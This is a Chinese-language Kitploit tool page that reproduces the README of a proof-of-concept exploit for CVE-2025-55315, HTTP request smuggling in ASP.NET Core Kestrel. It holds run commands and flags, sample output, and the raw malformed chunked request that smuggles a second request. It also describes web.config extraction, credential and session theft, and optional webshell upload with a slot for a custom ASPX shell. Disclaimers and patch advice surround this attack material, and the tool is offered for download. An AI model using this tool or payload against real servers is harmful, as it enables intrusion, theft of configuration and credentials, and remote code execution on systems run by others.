Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55315-PoC-Exploit — CVE-2025-55315 PoC 漏洞利用 | Kitploit
工具/GitHubGitHub/zemarkhos/cve-2025-55315-poc-exploit
漏洞扫描器Payload生成漏洞利用Web应用程序漏洞利用Web安全渗透测试
GitHubzemarkhos/cve-2025-55315-poc-exploit

CVE-2025-55315-PoC-Exploit

CVE-2025-55315 PoC 漏洞利用

查看仓库
85310个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-55315 渗透测试工具

针对 ASP.NET Core Kestrel 的 HTTP 请求走私利用工具

Python Version CVE CVSS License


⚠️ 法律警告

本工具仅供授权安全测试使用!

  • 仅可用于您拥有或已获得明确书面授权的系统
  • 未经授权访问计算机系统属于违法行为
  • 工具创建者不对滥用行为负责
  • 使用本工具即表示您承担全部法律责任

📋 概述

专业的 CVE-2025-55315(ASP.NET Core Kestrel HTTP 请求走私漏洞)渗透测试工具。该工具专为单目标分析设计,具备全面的利用能力。

什么是 CVE-2025-55315?

ASP.NET Core Kestrel Web 服务器中的一个严重 HTTP 请求走私漏洞(CVSS 9.9/10),允许攻击者:

  • 绕过身份验证
  • 窃取凭据和会话令牌
  • 执行服务端请求伪造(SSRF)
  • 污染缓存
  • 上传 WebShell 并获得远程代码执行能力
  • 受影响版本:

    • .NET Core 3.0 至 .NET 9.0.9
    • 修复版本:.NET 8.0.21+、9.0.10+、10.0.0-rc2+

    ✨ 功能特性

    核心能力

    • ✅ 单目标分析 - 针对特定目标的聚焦渗透测试
    • ✅ 自动端点发现 - 发现常见的 ASP.NET Core 端点
    • ✅ 手动端点测试 - 测试感兴趣的特定端点
    • ✅ 漏洞检测 - 精确检测 CVE-2025-55315
    • ✅ web.config 提取 - 通过请求走私读取配置文件
    • ✅ WebShell 上传 - 可选的 WebShell 部署能力
    • ✅ 详细报告 - JSON 和文本格式报告
    • ✅ 安全特性 - 对破坏性操作提供多重确认提示

    技术特性

    • 支持 HTTP/1.1 和 HTTPS
    • 支持自定义端口
    • 可配置超时
    • 详细调试模式
    • 彩色终端输出
    • SSL 证书验证绕过(用于测试)

    🔧 安装

    要求

    root@kitploit:~
    # Python 3.7 or higher
    python3 --version
    
    # No external dependencies - uses only standard library
    

    下载

    root@kitploit:~
    # Clone or download the tool
    git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
    cd CVE-2025-55315-PoC-Exploit
    
    # Make executable
    chmod +x cve_2025_55315_PoC.py
    

    🚀 快速开始

    基础漏洞扫描

    root@kitploit:~
    python3 cve_2025_55315_PoC.py -t target.com
    

    此操作将:

    1. 收集服务器信息
    2. 自动发现活动端点
    3. 测试每个端点是否存在 CVE-2025-55315
    4. 在终端中显示结果

    测试特定端点

    root@kitploit:~
    python3 cve_2025_55315_PoC.py -t target.com -e /api/login
    

    带 web.config 提取的完整扫描

    root@kitploit:~
    python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
    

    高级:完整利用(仅限授权环境!)

    root@kitploit:~
    python3 cve_2025_55315_PoC.py \
      -t target.com \
      --read-config \
      --upload-shell \
      -v \
      -o full_report.txt
    

    📖 使用示例

    示例 1:快速检查

    场景: 检查生产服务器是否存在漏洞

    root@kitploit:~
    python3 cve_2025_55315_PoC.py -t api.mycompany.com
    

    预计耗时: 30-60 秒


    示例 2:详细扫描

    场景: 带详细输出的全面端点扫描

    root@kitploit:~
    python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
    

    预计耗时: 2-5 分钟


    示例 3:测试多个端点

    场景: 测试特定的关键端点

    root@kitploit:~
    python3 cve_2025_55315_PoC.py \
      -t api.mycompany.com \
      -e /api/payment/process \
      -e /api/admin/users \
      -e /api/internal/config \
      -o critical_endpoints.txt
    

    示例 4:非 SSL 目标

    场景: 测试内部 HTTP 服务器

    root@kitploit:~
    python3 cve_2025_55315_PoC.py \
      -t internal-api.local \
      -p 8080 \
      --no-ssl
    

    📊 命令行选项

    root@kitploit:~
    usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                      [--no-ssl] [--read-config] [--upload-shell]
                                      [-o OUTPUT] [-v] [--timeout TIMEOUT]
    
    Required Arguments:
      -t, --target         Target hostname or URL (e.g., target.com)
    
    Optional Arguments:
      -p, --port           Port number (default: 443 for SSL, 80 for non-SSL)
      -e, --endpoint       Specific endpoint(s) to test (can be used multiple times)
      --no-ssl             Disable SSL/HTTPS (use HTTP)
      --read-config        Attempt to read web.config file
      --upload-shell       Attempt webshell upload (requires confirmation)
      -o, --output         Save report to file
      -v, --verbose        Enable verbose output
      --timeout            Socket timeout in seconds (default: 10)
      -h, --help           Show help message
    

    🔍 理解输出结果

    易受攻击系统示例

    root@kitploit:~
    Target: old-api.company.com:443
    Vulnerable: YES - CRITICAL
    
    --- Server Information ---
      server: Kestrel/8.0.15
      kestrel_detected: True
      http_version: 1.1
    
    --- VULNERABLE ENDPOINTS (2) ---
      ✗ /api/login
        Details: Request smuggling successful - multiple responses
      ✗ /api/health
        Details: Request smuggling successful - multiple responses
    
    --- SUCCESSFUL EXPLOITS ---
      ✓ web.config_read via /api/login
    

    解读:

    • 🔴 检测到严重漏洞
    • 🔴 多个端点存在漏洞
    • 🔴 配置文件已成功提取
    • ⚡ 紧急处理: 升级至 .NET 8.0.21+ 或 9.0.10+

    安全系统示例

    root@kitploit:~
    Target: new-api.company.com:443
    Vulnerable: NO - SECURE
    
    --- Server Information ---
      server: Kestrel/9.0.10
      kestrel_detected: True
      http_version: 1.1
    
    [SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
    
    ✓ No vulnerable endpoints found - target may be patched
    

    解读:

    • ✅ 系统安全
    • ✅ 运行的是已修补的 Kestrel 版本
    • ✅ 所有畸形请求均被拒绝

    🛡️ 安全与道德

    授权检查清单

    运行本工具前,请确保:

    • 您拥有目标系统,或者
    • 您已获得书面测试授权,并且
    • 安全团队已收到通知,并且
    • 您有回滚计划,并且
    • 您了解法律影响

    内置安全特性

    1. 两阶段确认 - 工具在开始前会要求授权
    2. WebShell 上传确认 - 需要输入大写 "YES"
    3. 速率限制 - 自动发现期间在请求之间加入延迟
    4. 超时保护 - 防止连接挂起
    5. 详细日志 - 所有操作均记录日志以供审计追踪

    🔬 技术细节

    利用技术

    该工具利用畸形分块传输编码(chunked transfer encoding)来利用 CVE-2025-55315:

    root@kitploit:~
    POST /endpoint HTTP/1.1
    Host: target.com
    Transfer-Encoding: chunked
    
    2;\n          ← VULNERABILITY: Lone \n instead of \r\n
    XX
    0\r\n
    \r\n
    GET /smuggled HTTP/1.1    ← This becomes a separate request
    Host: target.com
    

    原理说明:

    1. 代理服务器将 \n 视为行终止符 → 将其作为单个请求处理
    2. Kestrel(易受攻击版本) 忽略 \n → 将走私的 GET 请求视为独立请求
    3. 走私请求可能在另一个用户的会话上下文中执行

    检测逻辑

    服务器响应解读状态
    400 Bad RequestKestrel 拒绝了畸形分块✅ 安全(已修补)
    多个 HTTP/1.1收到两个独立响应❌ 存在漏洞
    500 或 502内部服务器错误⚠️ 可能存在漏洞
    正常 200 OK请求被接受⚠️ 无法确定

    🐛 故障排除

    连接失败

    root@kitploit:~
    [ERROR] Connection failed: [Errno 111] Connection refused
    

    解决方法:

    • 确认目标可达:ping target.com
    • 检查端口号是否正确
    • 尝试使用或不使用 SSL:--no-ssl
    • 检查防火墙规则

    SSL 证书错误

    root@kitploit:~
    [ERROR] Connection failed: certificate verify failed
    

    解决方法: 工具已禁用证书验证。如果问题仍然存在:

    root@kitploit:~
    export PYTHONHTTPSVERIFY=0
    python3 cve_2025_55315_PoC.py -t target.com
    

    超时错误

    root@kitploit:~
    [WARNING] No response - possible timeout
    

    解决方法:

    • 增加超时时间:--timeout 30
    • 检查网络连接
    • 目标可能响应缓慢或过载

    上传被阻止

    root@kitploit:~
    [WARNING] Upload blocked (forbidden/method not allowed)
    

    原因说明:

    • 服务器配置阻止了 PUT/POST 方法
    • WAF/IPS 正在阻止上传
    • 文件权限阻止写入

    这是正常现象 - 并非所有易受攻击的系统都允许文件上传。


    📚 参考资料

    CVE-2025-55315 相关资源

    1. Microsoft 安全公告: https://github.com/dotnet/aspnetcore/issues/64033

    2. NVD 数据库: https://nvd.nist.gov/vuln/detail/CVE-2025-55315

    3. Praetorian 研究($10k 漏洞赏金): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/

    4. Andrew Lock 的技术分析: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/

    HTTP 请求走私

    1. PortSwigger 研究: https://portswigger.net/web-security/request-smuggling

    2. OWASP: https://owasp.org/www-community/attacks/HTTP_Request_Smuggling


    🔄 自定义

    添加自定义端点

    编辑脚本中的 COMMON_ENDPOINTS:

    root@kitploit:~
    COMMON_ENDPOINTS = [
        '/your/custom/endpoint',
        '/api/myapp/admin',
        # Add your endpoints here
    ]
    

    使用自定义 WebShell

    修改 upload_webshell() 方法:

    root@kitploit:~
    def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
                       shell_content: str = None):
        if not shell_content:
            shell_content = '''
            <!-- Your custom ASPX webshell here -->
            '''
    

    📝 报告问题

    如果您发现 bug 或有改进建议:

    1. 使用详细模式运行:-v
    2. 保存完整输出:-o debug.txt
    3. 请包含:
      • Python 版本
      • 使用的命令
      • 错误信息
      • 预期行为与实际行为

    ⚖️ 法律免责声明

    root@kitploit:~
    THIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
    SECURITY TESTING PURPOSES ONLY.
    
    THE AUTHOR(S):
    ❌ Do NOT endorse illegal activities
    ❌ Are NOT responsible for misuse
    ❌ Are NOT liable for any damages
    ❌ Do NOT provide legal advice
    
    BY USING THIS TOOL YOU AGREE:
    ✅ To use only on authorized systems
    ✅ To accept full legal responsibility
    ✅ To comply with all applicable laws
    ✅ To follow ethical hacking principles
    
    UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
    

    🎓 教育目的

    本工具创建目的:

    • 安全研究人员
    • 渗透测试人员
    • 漏洞赏金猎人
    • 系统管理员
    • 安全意识培训
    • 授权安全评估

    不适用于:

    • 恶意攻击
    • 未经授权的访问
    • 竞争性侦察
    • 任何非法活动

    🙏 致谢

    • Microsoft 安全响应中心 - 负责 CVE 披露和补丁
    • Praetorian Security - 最初的漏洞研究
    • Andrew Lock - 详细的技术分析
    • 安全社区 - 负责任披露实践

    📄 许可证

    仅限教育和授权安全测试使用

    本工具仅供教育和授权安全测试使用。严禁商业用途、再分发或用于恶意目的。


    🔐 最终警告

    root@kitploit:~
    ╔═════════════════════════════════════════════════════════════╗
    ║                                                             ║
    ║  USE THIS TOOL RESPONSIBLY AND LEGALLY!                     ║
    ║                                                             ║
    ║  Unauthorized access to computer systems is a CRIME.        ║
    ║  Always obtain written permission before testing.           ║
    ║  Follow responsible disclosure practices.                   ║
    ║                                                             ║
    ║  Happy (Legal) Hacking!                                     ║
    ║                                                             ║
    ╚═════════════════════════════════════════════════════════════╝
    

    下载工具